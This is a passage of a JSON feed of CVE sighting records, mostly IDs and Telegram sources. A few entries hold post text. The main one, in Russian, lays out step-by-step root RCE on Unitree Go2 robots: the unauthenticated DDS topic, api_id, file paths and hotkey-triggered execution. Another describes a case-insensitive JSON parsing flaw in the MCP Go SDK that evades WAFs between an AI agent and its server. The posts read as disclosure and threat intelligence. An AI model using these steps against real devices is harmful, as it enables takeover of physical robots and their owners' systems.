"2026-09-08T06:50:05.484205Z"}, {"uuid": "1cdaa5d4-213a-4d9a-b577-f5d67ad4aea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27280", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260909", "content": "", "creation_timestamp": "2026-09-09T04:45:25.399320Z"}, {"uuid": "1684d8c6-9e9b-4979-a55e-4d2d9505f53c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "seen", "source": "https://t.me/shimiscyberworld/1230", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-27960 \u2014 CVSS 9.8\nOpenCTI Critical Auth Bypass: Unauthenticated API Access Threatens CTI Platforms\n\nCVE-2026-27960 \u2014 OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. In versions 6.6.0 through 6.9.12, there is a privilege escalat\n\n\ud83d\udd34 Critical \u00b7 2 ATT&CK techniques mapped\n\n#cve  #critical  #high_severity\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-27960 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:16.253265Z"}, {"uuid": "75af3316-621f-4c72-9319-3c3ce57fe20b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/iOcWIyahPmzeafXhqZ9UUCxtc99w_uX51aK2YYp91N0S6vc", "content": "", "creation_timestamp": "2026-09-12T12:00:05.235897Z"}, {"uuid": "f3264b3c-bec5-401c-acdb-51a6048497a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/bZF-i5IhMlSk9Qqt6MiijfMvmpmFMWNRxEAF5TS1oCjwtd0", "content": "", "creation_timestamp": "2026-09-12T16:00:09.232376Z"}, {"uuid": "d619f863-ea49-4908-898c-3eed57bb0830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "Telegram/tliPHGNmKkBG-rTD24a0CY8dlXHZL0klGojx535X2jpJso0", "content": "", "creation_timestamp": "2026-09-12T22:00:05.832580Z"}, {"uuid": "6235292b-39db-4967-9fcd-2b90314237be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/tliPHGNmKkBG-rTD24a0CY8dlXHZL0klGojx535X2jpJso0", "content": "", "creation_timestamp": "2026-09-13T00:00:05.750826Z"}, {"uuid": "0e01c305-784b-4824-8375-5c7d1849eee6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "seen", "source": "https://t.me/shimiscyberworld/1230", "content": "\ud83d\udee1\ufe0f SCW \u2502 Critical Vulnerability\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n\u26a0\ufe0f CVE-2026-27960 \u2014 CVSS 9.8\nOpenCTI Critical Auth Bypass: Unauthenticated API Access Threatens CTI Platforms\n\nCVE-2026-27960 \u2014 OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. In versions 6.6.0 through 6.9.12, there is a privilege escalat\n\n\ud83d\udd34 Critical \u00b7 2 ATT&CK techniques mapped\n\n#cve  #critical  #high_severity\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-27960 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-13T00:00:34.463205Z"}, {"uuid": "c5b8341a-950e-4431-a73c-2a5c25ce749e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "Telegram/b5VRLAGNUyRHY6NilediA6h9N6sdyeE0IaG26PfGUbhzmzA", "content": "", "creation_timestamp": "2026-09-13T15:00:05.161854Z"}, {"uuid": "c67e7d49-7c06-49f6-9f9c-912666914284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/bZF-i5IhMlSk9Qqt6MiijfMvmpmFMWNRxEAF5TS1oCjwtd0", "content": "", "creation_timestamp": "2026-09-13T00:00:40.363658Z"}, {"uuid": "9d33f854-6bc3-4692-acc0-77bc2c475bda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/iOcWIyahPmzeafXhqZ9UUCxtc99w_uX51aK2YYp91N0S6vc", "content": "", "creation_timestamp": "2026-09-13T00:00:53.310234Z"}, {"uuid": "a81ba2c7-6234-4a0e-90df-0855d337e516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "Telegram/7xV42MskB-2ON1T-tQ5sttv7o2et93yeA9hCBsSBpL7qvSw", "content": "", "creation_timestamp": "2026-09-13T05:00:04.897548Z"}, {"uuid": "b1bd5b8c-af0a-4c95-b793-d46fec766352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "Telegram/kfB0INME4u0KlXUgzu2Kc3QZx_kW1-RqcQVuun_hv92a7q0", "content": "", "creation_timestamp": "2026-09-13T15:00:05.264409Z"}, {"uuid": "704f5669-ce6d-489a-861a-ce4c646a8fa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/HJHfqXdFTbdlNHLDiq9-rcV9lRzKv5hlqp4ef-N0m_5Hlx8", "content": "", "creation_timestamp": "2026-09-13T19:00:06.585493Z"}, {"uuid": "5bdc71ca-4b1c-4c9a-9cbc-00e3fc867f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/HJHfqXdFTbdlNHLDiq9-rcV9lRzKv5hlqp4ef-N0m_5Hlx8", "content": "", "creation_timestamp": "2026-09-14T00:00:11.454227Z"}, {"uuid": "26d1f008-24c4-4da7-a6c1-94cf8bfe97b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/SkZOROHFzO0XNmOTRkDPjQMnCLT7cEQR-5T9RCrLL0Qn5Jo", "content": "", "creation_timestamp": "2026-09-13T22:00:07.972764Z"}, {"uuid": "b7e941b5-1b7f-4e84-8d01-be5b71d24cbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/SkZOROHFzO0XNmOTRkDPjQMnCLT7cEQR-5T9RCrLL0Qn5Jo", "content": "", "creation_timestamp": "2026-09-14T00:00:09.413155Z"}, {"uuid": "7f1e98d1-0154-4d2d-ad5a-06c8fe07addb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "published-proof-of-concept", "source": "Telegram/kfB0INME4u0KlXUgzu2Kc3QZx_kW1-RqcQVuun_hv92a7q0", "content": "", "creation_timestamp": "2026-09-14T00:00:12.704214Z"}, {"uuid": "9e3e2781-b48a-483a-8396-dfa167f6d20a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/b5VRLAGNUyRHY6NilediA6h9N6sdyeE0IaG26PfGUbhzmzA", "content": "", "creation_timestamp": "2026-09-14T00:00:12.990494Z"}, {"uuid": "0bd5ae3a-9646-40ab-803b-3be3189a8a09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/7xV42MskB-2ON1T-tQ5sttv7o2et93yeA9hCBsSBpL7qvSw", "content": "", "creation_timestamp": "2026-09-14T00:00:30.065366Z"}, {"uuid": "bd393ba1-a539-407d-94c4-d5bb141b6170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "Telegram/SWXpTb_FDgqk-a1sBSyz4gpK1bNcdSIfJKm4SIv87MwvEOM", "content": "", "creation_timestamp": "2026-09-14T03:00:10.873142Z"}, {"uuid": "8b69fec1-bd38-4e50-aa0f-e78b5b1a6191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "Telegram/4ubCWDGxu4WnFOq29PLvDuzY7rtHUTjtN28OWSanTq9JErs", "content": "", "creation_timestamp": "2026-09-14T04:00:04.261789Z"}, {"uuid": "94ae69ad-f3c7-4259-a4e0-3d128bc252d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/2H2rLLj_yopSB8FXwFjoRrUb_4PBHTp7JA23qh9ZyFZjIdg", "content": "", "creation_timestamp": "2026-09-14T15:00:04.699447Z"}, {"uuid": "2cea1bbb-c8eb-43bb-8096-ab89de08f1c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "seen", "source": "https://t.me/purp_sec/1423", "content": "\u041a\u0442\u043e-\u0442\u043e \u0441\u043d\u043e\u0432\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043b \u0440\u043e\u0431\u043e\u0442\u0430 Unitree \ud83d\ude2e\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043b\u043b\u0435\u0433\u0438 \u0438\u0437 \u0411\u0430\u0441\u0442\u0438\u043e\u043d\u0430 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043d\u0430 \u0425\u0430\u0431\u0440\u0435 \u043f\u0440\u043e \u0432\u0437\u043b\u043e\u043c \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 Unitree G1. \u0422\u043e\u0433\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043a\u0438\u0431\u043e\u0440\u0433\u0430-\u0443\u0431\u0438\u0439\u0446\u0443 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u0442\u0432\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0430\u043c \u0438 \u0441\u0430\u043b\u044c\u0442\u043e \u043f\u043e\u043a\u0430\u0436\u0435\u0442, \u0438 \u043a\u0443\u043d\u0433-\u0444\u0443, \u0438 \u0434\u0430\u0436\u0435 \u043f\u0430\u043b\u043a\u043e\u0439 \u043f\u043e \u0433\u043e\u043b\u043e\u0432\u0435 \u043f\u043e\u0441\u0442\u0443\u0447\u0438\u0442 \u0434\u0430 \u043f\u0440\u043e\u0441\u0442\u0438\u0442 \u043d\u0430\u0441 \u0410\u0437\u0438\u043c\u043e\u0432. \u041a\u0430\u043a \u0442\u043e\u0433\u0434\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0444\u0443\u043d\u043a\u0446\u0438\u044f eval() \u0432 \u043a\u043e\u0434\u0435 \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 \u0441\u0442\u0440\u0430\u0448\u043d\u0435\u0435 \u043b\u044e\u0431\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0438\u044f \u043c\u0430\u0448\u0438\u043d.\n\n\u0418 \u0432\u043e\u0442 \u0432\u0430\u043c \u0441\u0432\u0435\u0436\u0435\u043d\u044c\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u0436\u0435 \u043f\u0440\u043e Unitree Go2 \u2014 \u0447\u0435\u0442\u0432\u0435\u0440\u043e\u043d\u043e\u0433\u043e\u0433\u043e \u0440\u043e\u0431\u043e\u0442\u0430 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux (ARM), \u0441 Wi-Fi, LTE (\u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445), OTA-\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2026-27509 \u0438 CVE-2026-27510 \u0441\u043c\u043e\u0433\u043b\u0438 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f RCE \u043d\u0430 \u0440\u043e\u0431\u043e\u0441\u043e\u0431\u0430\u043a\u0435 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043d\u0435\u0439.\n\nCVE-2026-27509 \u2014 \u044d\u0442\u043e unauthRCE \u0447\u0435\u0440\u0435\u0437 DDS-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430\u0445 Unitree Go2. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 actuator_manager.py, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u043c \u0442\u043e\u043f\u0438\u043a rt/api/programming_actuator/request \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 (DDS domain 0 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d). \n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 api_id=1002, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Python-\u043a\u043e\u0434 \u0432 JSON-\u043f\u043e\u043b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430.\n\u23fa\u041a\u043e\u0434 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b /unitree/etc/programming/.py \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0432\u0438\u0448 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, R1+Y) \u0447\u0435\u0440\u0435\u0437 hotkey_manager.py.\n\u23fa\u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043a\u043b\u0430\u0432\u0438\u0448\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e subprocess.Popen(['python3', ...]). \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u043f\u0435\u0440\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f.\n\nCVE-2026-27510 \u2014 RCE \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 SQLite-\u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Unitree Go2 (\u0444\u0430\u0439\u043b /data/data/com.unitree.doggo2/databases/unitree_go2.db, \u0442\u0430\u0431\u043b\u0438\u0446\u0430 dog_programme). \n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 root-\u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0431\u0430\u0437\u0443.\n\u23fa\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u043b\u0435 pyCode \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Python-\u043a\u043e\u0434.\n\u23fa\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0431\u0430\u0437\u0443 \u0441 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441 \u0440\u043e\u0431\u043e\u0442\u043e\u043c. \n\u23fa\u041f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u043a \u043a\u043b\u0430\u0432\u0438\u0448\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, L1+Y) \u0431\u043b\u043e\u043a Blockly \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043a\u043e\u0434 \u0432 \u0442\u043e\u0442 \u0436\u0435 actuator_manager.py, \u0433\u0434\u0435 \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 root \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\u23fa\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0431\u044d\u043a\u0434\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\ud83d\udde3 \u0427\u0438\u0442\u0430\u0435\u043c \u0432\u0441\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.\n\n#red_team", "creation_timestamp": "2026-09-14T18:00:06.544670Z"}, {"uuid": "9daf4a32-b2df-4da7-a689-412eb4e0dcc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27896", "type": "seen", "source": "https://t.me/purp_sec/1425", "content": "\u2328\ufe0f \u0413\u0440\u0430\u043c\u043e\u0442\u0430 \u043e \u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 MCP, \u043b\u0435\u0442\u0430 7534 \u043e\u0442 \u0441\u043e\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u043c\u0438\u0440\u0430\n\n\u042f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27896 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u043c\u0443\u0434\u0440\u0435\u0446\u0430\u043c\u0438 \u0432 7.0 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS, \u0441\u0438\u0440\u0435\u0447\u044c \u00ab\u0412\u044b\u0441\u043e\u043a\u0430\u044f\u00bb \u2014 \u0431\u0440\u0435\u0448\u044c \u0438\u0437\u0440\u044f\u0434\u043d\u0430\u044f, \u0445\u043e\u0442\u044f \u0438 \u043d\u0435 \u043d\u0430\u0438\u043f\u0430\u0433\u0443\u0431\u043d\u0435\u0439\u0448\u0430\u044f. \n\n\u0421\u0443\u0442\u044c \u0436\u0435 \u0432\u043e\u0442 \u0432 \u0447\u0435\u043c: \u0444\u0443\u043d\u043a\u0446\u0438\u044f json.Unmarshal() \u044f\u0437\u044b\u043a\u0430 Go \u0441\u043b\u0438\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u044f JSON-\u0433\u0440\u0430\u043c\u043e\u0442 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0438 \u043c\u0430\u043b\u044b\u0445 \u043b\u0438\u0442\u0435\u0440 \u2014 \u0434\u043b\u044f \u043d\u0435\u0435 Method \u0438 method \u0441\u0443\u0442\u044c \u0435\u0434\u0438\u043d\u043e, \u0430 \u0443\u043b\u043e\u0436\u0435\u043d\u0438\u0435 JSON-RPC 2.0 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0442\u043e\u0447\u043d\u043e\u0433\u043e, \u0434\u043e \u0435\u0434\u0438\u043d\u043e\u0439 \u0431\u0443\u043a\u0432\u0438\u0446\u044b. \u0412\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0435\u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u0432\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0432 \u043a\u043e\u0434\u0435 \u2014 \u0441\u0442\u0440\u0430\u0436\u0438 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 (WAF, \u043f\u0440\u043e\u043a\u0441\u0438) \u0434\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442 \u0433\u0440\u0430\u043c\u043e\u0442\u044b \u0441\u0442\u0440\u043e\u0433\u043e \u043f\u043e \u0443\u043b\u043e\u0436\u0435\u043d\u0438\u044e \u0438 \u0443\u0433\u0440\u043e\u0437\u044b \u043d\u0435 \u0437\u0440\u044f\u0442, \u0430 MCP Go SDK \u0432\u0442\u0438\u0445\u043e\u043c\u043e\u043b\u043a\u0443 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435. \u041d\u0430 \u0434\u0435\u043b\u0435 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0436 AI-\u0430\u0433\u0435\u043d\u0442\u043e\u043c \u0438 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0442\u043e\u043a\u043c\u043e \u043c\u0435\u043d\u044f\u044f \u043d\u0430\u0447\u0435\u0440\u0442\u0430\u043d\u0438\u0435 \u043b\u0438\u0442\u0435\u0440 \u0432 \u043f\u043e\u043b\u044f\u0445 JSON. \n\n\u0418 \u0437\u0435\u043b\u043e \u0432\u0430\u0436\u0435\u043d \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442: \u0441\u0438\u0435 \u0443\u0436\u0435 30-\u044f \u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0437\u0435\u043c\u043b\u044f\u0445 MCP \u0441 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u043b\u0435\u0442\u043e 2024-\u0435, \u0430 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u043e\u043d\u044b\u0445 \u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u043c\u0435\u0441\u044f\u0446\u0430 \u2014 \u0442\u043e \u0431\u0438\u0448\u044c \u0440\u0435\u0447\u044c \u043d\u0435 \u043e\u0431 \u043e\u0434\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435, \u0430 \u043e \u0445\u0432\u043e\u0440\u044f\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430.\n\n\u041e\u0442 \u0441\u0435\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043f\u0430\u0441\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 MCP Go SDK \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.3.1, \u0433\u0434\u0435 \u043f\u0430\u0440\u0441\u0438\u043d\u0433 JSON \u0437\u0430\u043c\u0435\u043d\u0438\u043b\u0438 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439. \u041e\u0434\u043d\u0430\u043a\u043e 